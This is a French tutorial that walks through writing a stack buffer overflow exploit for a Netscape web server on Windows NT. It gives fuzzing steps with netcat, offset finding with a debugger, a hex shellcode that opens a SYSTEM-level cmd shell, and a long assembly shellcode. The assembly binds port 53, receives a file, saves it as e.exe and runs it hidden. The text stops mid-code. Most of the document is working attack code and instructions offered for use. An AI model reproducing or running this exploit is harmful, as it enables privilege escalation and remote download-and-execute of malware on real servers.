BUFFER OVERFLOW |
Partie 1 : The Buffer Overflow
Voila, tout d'abord,
on télécharge le programme sur www.netscape.com
armez-vous de patience, il fait 50 mégas hé hé :)
On l'installe (installation par défaut bien sûr), et on se met
à la recherche de la faille... (Vous avez en prime un beau serveur web
!) Téléchargez NetCat (nc.exe). Ce soft vous permet d'envoyer
des données sur un port d'une machine, se sera donc plus pratique, on
s'emmerdera pas avec un programme à faire, on le fera plus tard... Comment
savoir si il y a une faille de sécurité ?
Et bein... faut tester... tester et encore tester. On va faire un fichier "test.bin"
(pour tester hé hé), dans lequel on va mettre une requête
pour le server web.
Syntaxe de NetCat : E:\nc.exe [IP] [PORT] < [FILE]
Une requête www se fait comme ça : "GET /robert HTTP/1.0"
et deux fois entrée pour télécharger le fichier "robert"
à la racine (wwwroot bien sur). On va donc essayer de planter le serveur
en envoyant une chaîne trop longue. on met dans test.bin ceci :
"GET /AAAAAAAAAAAAAAAAAAAAAAA[...x beaucoup]AAAAA HTTP/1.0" plus 2
fois entrée
On tape ceci dans un shell dos:
E:\nc 127.0.0.1 80 < test.bin
et là le serveur répond que le fichier est introuvable. On rajoute
des 'AAAA' par gros paquets, jusqu'à ce que le serveur plante.
(N.B: si vous mettez trop de 'A' le serveur répondra un autre message
d'erreur, enlevez des 'A' dans ce cas là)
Quand le serveur plante, un message d'erreur vous indiquera que l'erreur s'est
produite à l'adresse 0x41414141.
Fort bien... Analysons ce qu'il s'est passé.
Ceux qui connaissent un minimum l'assembleur, savent ce que sont les registres
du microprocesseurs. L'un deux s'appelle EIP (Extended Instruction Pointer).
Il indique au microprocesseur l'adresse de la prochaîne instruction à
executer. Lors de l'appel d'une fonction (un CALL), la valeur de EIP est stockée
dans la "pile" (stack), et on saute à l'adresse de la fonction. Une fois
que la fonction est terminée, elle reviens à l'instruction qui
suit le CALL qui l'a appellé. Comment fait-elle cela ? Et bien c'est
simple, elle regarde tout simplement dans la pile la valeur de EIP avant le
CALL, et elle retourne à cette adresse.
Voila pour le fonctionnement des CALL / RET et de EIP. Que ce passe-t-il donc
avec notre exemple ?
Et bien c'est pas compliqué, la chaîne de caractère qu'on
envoi au serveur est stockée en mémoire. Le programme alloue (reserve)
de la place pour copier la chaîne. Cependant, si le programmeur est feignant,
il a pas pris le temps de vérifier la taille de la chaîne. Il copie
donc une chaîne en mémoire (ou dans une autre) sans vérifier
la taille de l'espace.
Exemple simple
:
char BUFFER1[100]; // un espace pour mettre
des données
char BUFFER2[500]; // un autre
strcpy(BUFFER1,BUFFER2); // copie buffer2 dans buffer1
Tout va bien si
le buffer2 est inférieur à 100 sinon, les octets en trop sont
placés de manière incontrolée, et il peuvent écraser
d'autres données ! Il pourrais par exemple écraser la valeur de
EIP sauvée dans la pile.
Dans notre exemple, on pourrait schématiser comme ceci :
[
Place libre
][EIP ]
Ici on met une
chaîne "normale", EIP reste à l'adresse ZZZZ
[
][EIP ]
GET /index.htm HTTP/1.0
ZZZZ
La fonction retourne
donc à ZZZZ, au moment de RET, tout va bien
Maintenant, on
fais chier notre monde et on met une chaîne trop grande :
[
Place libre
][EIP ]
GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HTTP/1.0
La fonction retourne
à l'adresse AAAA, puisque la valeur sauvée de EIP est AAAA
AAAA correspond en Hex à 0x41414141, il retourne donc à 0x41414141,
cette adresse est invalide, donc Windows NT nous balance un méssage d'erreur
comme quoi on a fait un saut illégal !
Il faut cependant determiner quel 'AAAA' du notre grande chaîne est l'adresse
de retour ! On fait donc par tatonnement,
on met une chaîne de AAAAAAAAAABBBBBBBBBBB, si il retourne à 0x42424242,
on essaie avec
AAAAAAAAAAAAAAAABBBBB, et ainsi de suite. On trouve donc que l'adresse correspond
aux caractères 4070-4074 de notre test.bin , enfin par là quoi,
ça m'ennuie de compter ;))
Voila !
Quel est l'interet de tout cela ? Et bien, on peut choisir l'adresse de retour
de la fonction !
On va donc examiner à quel endroit il serait interessant de sauter !
(il y a possibilité de jeu de mot vaseu là)
Partie 2 : Examination de cette foutue stack
On est donc parti
pour planter/redémarrer le serveur un millier de fois :))
On va utiliser SoftIce, le débugger, pour examiner la pile quand le prog
plante.
On garde le même fichier test.bin, on entre dans SoftIce la commande "FAULTS
ON" pour qu'il prenne en charge les erreurs.
On fait: nc 127.0.0.1 80 < test.bin, et là SoftIce apparait
! Great ! Que voit-on ? Et bien le registre EIP est bien à 0x41414141.
Le but sera de savoir à quelle adresse se trouve notre buffer, de manière
à placer du code executable dedans, qui sera donc executé, si
on jump vers notre buffer. OU EST CE BUFFER ?
(Tapez "data", et "code on" dans SoftIce, pour avoir la mémoire et le
code héxa)
On va donc examiner la mémoire à la recherche du buffer perdu
! Par exemple, on regarde les registres, ESP (Extended Stack Pointer) est en
rapport avec la stack (waou la déduction), on va donc examiner la mémoire
vers là ou il pointe (le sommet de la pile en fait). Son adresse est
0x0143FE48. On clique avec le bouton droit sur l'adresse et on fait "DISPLAY".
Voila, rien d'interressant, apparemment bien sur. On va donc regarder autour,
si il y a pas notre buffer par exemple. Et comme par miracle, on vois que juste
au dessus, il y a plein, mais alors plein de AAAAAA. Fantastique. On constate
également que vers l'adresse 0x0143EE68, il y a un GET /AAAAAAA...
C'est notre buffer ! ô joie ! On pourrais donc mettre comme adresse de
retour 0x0143EE68, si les caractères sont pas trop bizarres pour le server,
comme ça il sautera au début de notre buffer (il fait environ
4000 caractères), ce qui nous permettra de mettre du code executable
dans le buffer, et le server web se fera un plaisir de l'executer. Reste à
coder un shellcode...
Partie 3 : Le shellcode en local
Les possibilités
sont assez grandes car le serveur peut executer un shellcode qui nous ouvre
un port et qui télécharge un éxecutable par exemple. On
va faire en 2 parties. Je vais expliquer comment faire un exploit en LOCAL (fichier
local.bin) pour ceux qui sont pas très à l'aise avec l'asm et
le principe du buffer overflow. Pour ceux qui s'accrochent comme des crustacés
sur leur rocher, je vais vous expliquer comment coder l'exploit en REMOTE (fichier
joint : remote.bin) , ce qui est nettement plus interressant ;))
Donc on commence soft...
Le principe est
simple :
Le programme tourne avec les privilèges d'Administrateur (maximum quoi,
r00t). Si vous êtes un simple utilisateur en soif de pouvoir et que la
machine run ce serveur, il vous est donc possible d'avoir les pouvoirs administratif
(=bingo). Comment se fais-ce ?
Et bien, le programme tourne avec les privilèges de super-utilisateurs,
si notre code ouvre un programme, il tournera avec les même attributs
que le processuss "père", donc en administrateur. Le programme le plus
interressant à lancer est bien sûr "cmd.exe", qui vous balancera
un joli interpreteur de commande (shell) DOS, avec les pouvoirs administratifs,
libre à vous ensuite de lancer un trojan pour avoir access à la
machine en remote, mais c'est interdit par loi, et c'est moralement répréhensible,
ne l'oubliez pas :) Pour lancer ce programme il nous suffit de lancer
le fonction "system", qui lance un executable.
"system" se trouve dans msvcrt.dll, dans \winnt\system32\ bien sûr. On
ne peux évidemment pas appeller une fonction directement, il faut l'appeller
par son adresse au lieu de son petit nom. Cependant l'adresse change selon la
version de la .DLL, mais comme on est en local, il y a pas de prob'. Vous la
décompilez, et vous regarder l'adresse de la fonction "system", ou alors
vous la prenez pour chez vous est vous regardez avec SoftIce enfin c'est pas
trop dur je pense.
Pour moi la fonction "system" est exportée par la DLL à 0x7801CDA7.
Ok, c'est noté.
Maintenant, c'est du gâteau. On commence par remplacer nos 'A' (0x41)
par des NOPs (0x90). Pourquoi ? Parceque '0x41' représente une instruction
ASM qui pourrais tout déglinguer. Alors que 0x90, c'est un NOP, c'est
une instruction qui ne fait rien du tout. Notre buffer dois donc contenir le
code, qu'on va mettre directement dans notre fichier test.bin avec un éditeur
hexadécimal.
Il faut faire plusieur
chose : la fonction "system" requiert comme argument, l'adresse de la chaîne
"cmd" qui doit être terminée par un caractère NULL. Or,
notre buffer ne dois pas contenir de 0x00, sinon, il sera tronqué car
0x00 est une fin de chaîne. On doit donc contourner cela en faisant un
xor ebx,ebx et puis push ebx, pour mettre un 0 dans la pile. Voila, pour le
problème du 0, c'est réglé.
Que doit on faire ?
Tout d'abord, avoir EBP et ESP au même niveau pour pouvoir utiliser une
pile pour y mettre "cmd"+0x00, car si on regarde ebp quand on fait le
RET fatidique, on constate que ebp=00000001h, ce qui est emmerdant pour utiliser
une pile.
donc :
mov ebp, esp
on a donc pour notre pile : EBP et ESP au même niveau, pile vide en fait
Scéma de
la stack :
EBP ESP
ensuite on doit
mettre un 0, qui terminera la chaîne "cmd"
on xor un registre pour le mettre à 0
xor ebx, ebx
push ebx
ebx fait 4 bytes (dword car e=extended) , donc la pile est donc comme cela maintenant :
EBP
00
00
00
00
ESP
on a besoin de 3 caractères pour placer "cmd" dans la pile, c'est parti
mov
byte ptr [EBP-4], 63h
c
mov byte ptr [EBP-3], 6Dh
m
mov byte ptr [EBP-2], 64h
d
et on laisse [EBP-1] à zéro
00 (on n'y touche pas)
(N.B : on pourrait évidemment utiliser ESP comme référence, on aurait mov byte ptr [esp+3],63h etc...)
Notre pile sera donc remplie comme ça :
EBP
00
NULL EBP-1
64
d EBP-2
6D
m EBP-3
63
c EBP-4
ESP
On a donc mis la chaîne qu'on voulait dans notre pile. Il faut maintenant mettre cette adresse dans la pile, pour la passer comme argument à "system". On doit donc d'abord empiler l'adresse de la fonction "system",
mov eax, 7801CDA7h
push eax
Tranquille ! On
pourra donc appeller la fonction "system" en faisant un call vers [EBP-8].
La suite maintenant, on empile le paramètre de la fonction "system" à
savoir l'adresse de "cmd", on doit tout simplement empiler l'adresse du premier
caractère, à savoir le "c" qui se trouve à [EBP-4] normalement
(comptez les lignes sur mes schémas), on va mettre l'adresse [EBP-4]
dans eax, puis on va le pusher, ce brave eax.
lea eax, [EBP-4]
push eax
Maintenant il reste
plus qu'à appeller la fonction "system", on dois faire un call vers son
adresse, que l'on a empilé juste avant l'adress de la chaîne.
La pile est maintenant ainsi :
EBP
00
NULL ...
64
d ...
6D
m ...
63
c EBP-4
A7 ---------
EBP-5
CD Adresse
de EBP-6
01 system
EBP-7
78 ---------
EBP-8
XX ---------
XX Adresse
de
XX "cmd"
XX ---------
ESP
Après nos
push, l'adresse de "system", que l'on a pushée se trouve à EBP-8
d'après mon (joli) dessin de la pile
reste à appeller cette adresse :
call dword ptr [ebp-8]
Normalement, on
a une superbe fenêtre de commande MS-DOS, qui s'ouvre. Et les privilèges
sont ceux de l'administrateur. En fait non, car le serveur run avec l'utilisateur
SYSTEM par défaut mais c'est aussi puissant que l'administrateur.
Voila, on a terminé avec le shellcode, ce qui donne,
le tout compilé et terminé :
char
ShellCode [] =
"\x8B\xEC\x33\xC9\x51\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45"
"\xFE\x64\xB8\xA7\xCD\x01\x78\x50\x8D\x45\xFC\x50\xFF\x55\xF8"
Après libre
à vous de faire un prog pour evoyer ça sur le port 80 si vous
voulez, je n'en vois pas l'utilité personnellement. Les quatres bytes
en jaune c'est l'adresse de "system" (inversée)
, qui est susceptible de changer selon la version de la DLL.
Je joins un fichier LOCAL.bin, pour faire marcher mon exploit, vous faîtes
simplement :
nc 127.0.0.1 80 < local.bin,
ou, plus simplement, vous ouvrez LOCAL.bin, vous séléctionnez
le texte, vous faîte "copier", vous ouvrez un Telnet sur le port 80 de
votre machine, vous faîtes "coller", et un beau shell administrateur apparaîtra,
sous reserve d'avoir changé l'adresse de "system" (inversez l'adresse)
dans le fichier local.bin, par celle correspondant à votre DLL. Tranquille
non ? (non ? Pfff, qu'est-ce qu'il vous faut !)
On passe maintenant à la partie un peu plus hard, j'espère ne
pas en avoir laché trop :)
Partie 4 : Le shellcode en remote (remote admin ! yeah !)
Maintenant, l'affaire
va se corser sérieusement.
J'explique pourquoi. En fait, dans l'exemple précédent, on a utilisé
1 seule fonction. C'était "system". Or, on ne connaissait pas l'adresse
de cette fonction. Mais en local, ce n'est pas un problème car on peut
ouvrir le fichier DLL qui contient la fonction et regarder à quelle offset
elle se trouve. Rien de plus facile. Cependant, là, on est en remote.
Pour pouvoir appeller une fonction, hors de question de l'appeller par une adresse
qu'on a choisit (=hardcoded) Car les adresses des fonctions utilisées
changent selon l'OS, la version, l'installation, les updates faîtes, bref,
c'est le vrai bordel. Comment allons-nous donc nous en sortir pour conaître
les adresses des fonctions ? Et bien c'est simple, on va utiliser 2 fonctions,
LoadLibraryA et GetProcAddress.
LoadLibraryA va nous permettre de... disons... loader une DLL ;) et GetProcAddress
va nous permettre de connaître l'adresse de chaque fonction contenue dans
cette Dynamic Link Library. Je vous balance la syntaxe :
HINSTANCE LoadLibrary(
LPCTSTR lpLibFileName // address of filename of executable module
);
FARPROC GetProcAddress(
HMODULE hModule, // handle to DLL module
LPCSTR lpProcName // name of function
);
Voila.
Le principe
est le suivant. Admettons que j'ai la chaîne "kernel32.dll" en mémoire,
pointée par PTR (avec un NULL).
On va faire,
LibHandle=LoadLibraryA(PTR);
Ensuite, si on a "CreateProcess" terminée par un caractère NULL
également, pointée par PTR2.
On va faire, sous réserve que LibHandle ne soit pas NULL,
addr=GetProcAddress(LibHandle,PTR2);
Et là, addr
contiendra l'adresse de la fonction "CreateProcess" du module "kernel32.dll",
En appellant cette adresse, on appelle la fonction. C'est pas beau ça
?
L'interet ? Et bien on va créer ce qu'on appelle une jump table (voir
article de DilDog la dessus). En fait, un fichier executable, a une jump table
au début qui lui permet d'appeller les fonctions en faisant un call vers
sa jump table. Et bien on va faire de même ici :)
On gros il faut que l'on ait, quelque part en mémoire, les adresses des
fonctions que l'on va utiliser.
Reste un petit souci, celui des fonctions GetProcAddress et LoadLibraryA...
et oui... comment connaître leur adresse si pour la connaître il
faut les appeller, sachant qu'on ne peut les appeller sans leur adresse... etc...etc...
C'est à devenir fou à lier.
En fait, on est quasiment sur que le programme va les utiliser, elles résident
donc dans sa jump table. On décompile le prog "httpd.exe" et on recherche
"LoadLibraryA" par exemple. Mais on ne la trouve pas. Bon, d'accord, le prog
n'utilise pas cette fonction. Ce n'est rien, on décompile une DLL que
le prog utilise forcement, à savoir E:\winnt\system32\ns-httpd36.dll
On décompile cette DLL et on constate qu'elle exporte nos deux fonctions
à :
GetProcAddress
:100E770C hex
LoadLibraryA :100E7710
hex
Voila. On va pouvoir
charger toutes les addresses des fonctions que l'on veut !
Je le dit tout de suite, je m'inspire pour l'exploit d'un exploit de _rix
(bonjour à toi,_rix en passant :)
Le principe est le suivant :
On va ouvrir un port, attendre une connection, télécharger un
fichier qu'on nous envoi par ce port, et executer ce fichier.
C'est un grand classique des exploits, ça plait beaucoup :)
Ou va choisir le port 53. Pourquoi ? Parce que c'est un port non filtré
par un firewall en général, et qui me plait bien ;)
Il nous faudra les fonctions suivantes pour établir et utiliser une connexion
:
socket listen bind
accept recv closesocket
(Elles sont dans wsock32.dll)
Il nous faudra ces fonctions pour gérer le fichier, l'executer...
_lcreat _lwrite _lclose
WinExec
Ces fonctions permettent de terminer le programme discrètement...
GetCurrentProcess TerminateProcess
On aura égelement besoin de GlobalAlloc pour avoir un peu de mémoire
pour mettre diverses valeurs.
Toutes ces fonctions sont exportées par Kernel32.dll
On aura donc besoin
ce toutes ces chaînes de caractères :
"kernel32.dll","GLobalAlloc",TerminateProcess","GetCurrentProcess","WinExec","_lcreat","_lwrite","_lclose"
"wsock32.dll","socket","bind","listen","accept","recv","closesocket"
"e.exe" <-
c'est le nom du fichier .exe qu'on va lancer (on le créé puis
on l'execute)
On va donc, pour
plus de portabilité, copier toutes ces chaînes en mémoire,
caractère par caractère. C'est laborieux, je sais, mais au moins,
on sait ou on les mets avec précisions :))
Pendant l'execution du programme, j'ai vu qu'il se servait de la zone mémoire
aux alentours de 0x00CE15??. On peut par exemple copier nos chaîne à
cet endroit.
Au fait, on doit mettre un 0 à chaque fin de chaîne. Je met donc
un 22h (ou n'importe quoi) puis je xor le 22h par un 22h ce qui à pour
effet de mettre à 0 le byte en mémoire ok ? car NB XOR NB = NULL
Bon c parti pour le début :)
mov
ebx,not 00CE1528h
// on met tout à partir de cette adresse (ou une autre)
not ebx
// les not sont pour éviter le 00
mov byte ptr [ebx],6Bh ;k
// on place le "k" à 0x00CE1528
inc ebx
// incrémente ebx, ebx=0x00CE1529
mov byte ptr [ebx],65h ;e
// on place le "e" à 0x00CE1529
inc ebx
// et ainsi de suite...
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],6Eh ;n
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],33h ;3
inc ebx
mov byte ptr [ebx],32h ;2
inc ebx
mov byte ptr [ebx],2Eh ;.
inc ebx
mov byte ptr [ebx],64h ;d
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],47h ;G
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],62h ;b
inc ebx
mov byte ptr [ebx],61h ;a
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],41h ;A
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],54h ;T
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],6Dh ;m
inc ebx
mov byte ptr [ebx],69h ;i
inc ebx
mov byte ptr [ebx],6Eh ;n
inc ebx
mov byte ptr [ebx],61h ;a
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],50h ;P
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],47h ;G
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],43h ;c
inc ebx
mov byte ptr [ebx],75h ;u
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],6Eh ;n
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],50h ;P
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],57h ;W
inc ebx
mov byte ptr [ebx],69h ;i
inc ebx
mov byte ptr [ebx],6Eh ;n
inc ebx
mov byte ptr [ebx],45h ;E
inc ebx
mov byte ptr [ebx],78h ;x
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],5Fh ;_
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],61h ;a
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],5Fh ;_
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],77h ;w
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],69h ;i
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],5Fh ;_
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],77h ;w
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],6Bh ;k
inc ebx
mov byte ptr [ebx],33h ;3
inc ebx
mov byte ptr [ebx],32h ;2
inc ebx
mov byte ptr [ebx],2Eh ;.
inc ebx
mov byte ptr [ebx],64h ;d
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],22 ;NULL
xor byte ptr [ebx],22
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],6Bh ;k
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],62h ;b
inc ebx
mov byte ptr [ebx],69h ;i
inc ebx
mov byte ptr [ebx],6Eh ;n
inc ebx
mov byte ptr [ebx],64h ;d
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],69h ;i
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],6Eh ;n
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],61h ;a
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],70h ;p
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],76h ;v
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],6Bh ;k
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],2Eh ;.
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],78h ;x
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
En fait, j'ai pris
ebx plutôt que eax car l'instruction "inc eax" contient un caractère
illégal pour notre buffer. De même je me suis embété
à faire un "inc ebx" à chaque fois, car si je bidouillait avec
les adresses ou que je mettais mov byte ptr[ebx+...], ...
Et bien au bout d'un moment il y avait des 0000000 ça n'allait donc pas.
Je dis ça pour pas avoir de commentaires du style : "Pourquoi tu t'es
embété à faire 10000 inc ebx ?" Comme ça, ça
fonctionne.
De plus notre buffer est assez grand (4093 chars :))
Ensuite, on va charger les adresses des fonctions pour nous constituer une jump table bien sympathique :)
mov
eax,not 00CE1528h ; on push offset de "Kernel32.dll\0"
not eax
; les not, c pour éliminé le 00 encore
une fois
push eax
; Seul paramètre de LoadlibraryA, l'adresse
de la chaîne "kernel32.dll"
mov
eax,100E7710h ; offset
de l'offset de LoadLibraryA (dans la DLL)
call dword ptr [eax] ;
Appelle LoadLibraryA
mov edx,eax
; Sauve le handle de KERNEL32 dans edx
push edx ; on push edx pour pouvoir réutiliser le Handle pour chaque fonction
mov
eax,not 00CE1535h ; on push l'offset de "GlobalAlloc\0"
not eax
push eax
; Dernier Paramètre de GetProcAddress
push edx
; on push le handle de KERNEL32 (reçu par LoadLibraryA)
mov ebx,100E770Ch
; Adresse de l'adresse de GetProcAddress (Dans la DLL)
call dword ptr [ebx]
; call GetProcAddress
mov dword ptr [ebp+4],eax ;
On met l'addresse de GlobalAlloc à [ebp+4]
pop
edx ;
récupère et sauve le handle de Kernel32.dll
push edx
mov
eax,not 00CE1541h ; TerminateProcess, idem
not eax
push eax
push edx
mov ebx,100E770Ch
call dword ptr [ebx]
mov dword ptr [ebp+8],eax
pop
edx
push edx
Et on répète
ça pour toutes les fonctions.....Inlassablement.....Pour les fonctions
de winsock aussi.....et....
Voila. Un petit éclaircissement sur ce qu'on a. On a les adresses des
adresses de toutes nos fonctions après ebp
On sait que la pile est sous ebp, donc pas de problème si on a des données
vitales après ebp, ça risque de tout casser après l'execution
de notre code, c'est tout, et en s'en fout de ça :))
On a donc sauvées ce que retourne GetProcAddress après ebp, on a donc ce petit tableau sympathique :
Fonction Adrresse ou l'appeller
GlobalAlloc
EBP+4
TerminateProcess
EBP+8
GetCurrentProcess
EBP+12
WinExec
EBP+16
_lcreat
EBP+20
_lwrite
EBP+24
_lclose
EBP+28
socket
EBP+56 *voir après
bind
EBP+36
listen
EBP+40
accept
EBP+44
recv
EBP+48
closocket
EBP+52
L'adresse pour
socket n'est pas 32 car c'est égal à 20 en hexadécimal,
ce qui correspond à un espace, le serveur ne l'accepte donc pas.On pourra
appeller WinExec par exemple, en faisant call
dword ptr [ebp+16].
Ce qui est parfait ! Il ne reste plus que le plus facile.
L'exploit lui-même, maintenant qu'on a contourné la difficultés
des shellcodes windows.
On va allouer de la mémoire pour y mettre des données telles que les socket file descriptors, ou la structure sockaddr_in.
mov
eax,not 32
; 32 bytes à allouer
not eax
push eax
; push le dernier argument, nb de bytes
mov eax,not GPTR
not eax
push eax
; push GPTR, le premier arguments
call dword ptr [ebp+4] ;
Call GlobalAlloc
mov esi,not 32
not esi
add esi,eax
; on a de la mémoire allouée de [esi-32]
à [esi]
; pour mettre ce qu'on veut
xor eax,eax
mov ax,not AF_INET
not ax
mov [esi-16],ax
; on met AF_INET dans sockaddr_in.sinfamily
mov ax,not 3500h
; port 53 en netword byte order
not ax
; car : 53 = 0035h = 3500h en network byte order
mov [esi-14],ax
; on met le port dans sinport
mov
eax,not IPPROTO_TCP
not eax
push eax
; dernier argument
mov eax,not SOCK_STREAM
not eax
push eax
; second argument
mov eax,not AF_INET
not eax
push eax
; premier argument
call dword ptr [ebp+56]
; socket
mov [esi-20],eax
; sauve le socket fd dans [esi-20]
mov
eax,not 16
; taille de la structure
not eax
push eax
; push le second argument
mov eax,esi
sub eax,16
push eax
; push le premier argument
push [esi-20]
call dword ptr [ebp+36] ;
bind(sock,&sin,taille_sin)
mov
eax,not 1
not eax
push eax
; push 1
push [esi-20]
; push le socket fd serveur
call dword ptr [ebp+40] ;
listen(sock,1)
xor
ebx,ebx
push ebx
; push NULL
push ebx
; push NULL
push [esi-20]
; push sockfd
call dword ptr [ebp+44] ;
"accept" accept(sock,NULL,NULL)
mov [esi-24],eax
; sauve le handle du socket client accepté dans [esi-24]
xor
ebx,ebx
push ebx
; push NULL
mov eax,not 00CE15BBh ;
addresse ou il y a "e.exe"+00
not eax
push eax
; addresse du nom du fichier
call dword ptr [ebp+20];_lcreat
mov [esi-32],eax
;sauve le handle du fichier dans [esi-32]
mov
eax,not 32000 ; buffer
de 32000 bytes
not eax
push eax
; push 32000
mov eax,not GPTR
not eax
push eax
; push GPTR
call dword ptr [ebp+4] ;
GlobalAlloc
mov [esi-28],eax
; addresse du buffer sauvée dans [esi-28]
1:
push ebx
mov eax,not 32000
not eax
push eax
; push la taille du buffer
push [esi-28]
; push adresse du buffer
push [esi-24]
; push accept socket
call dword ptr [ebp+48] ;
call recv(sockc,buffer,32000)
xor ecx,ecx
cmp eax,ecx
je short 2
; 0 octets lus, on stop
not ecx
cmp eax,ecx
je short 2
; erreur de recv, on stop
push
eax
push [esi-28]
; adresse du buffer
push [esi-32]
; handle du fichier
call dword ptr [ebp+24]
; _lwrite
jmp short 1
2:
push
[esi-32]
;handle du fichier
call dword ptr [ebp+28]
;_lclose
xor
ebx,ebx
push ebx
; le flag SW_HIDE permet de cacher la fenêtre de l'executable
mov
eax,not 00CE15BBh ;
chaîne "e.exe"+0
not eax
push eax
; adresse du nom du fichier premier argument de
WinExec
call dword ptr [ebp+16] ; WinExec
push
[esi-24]
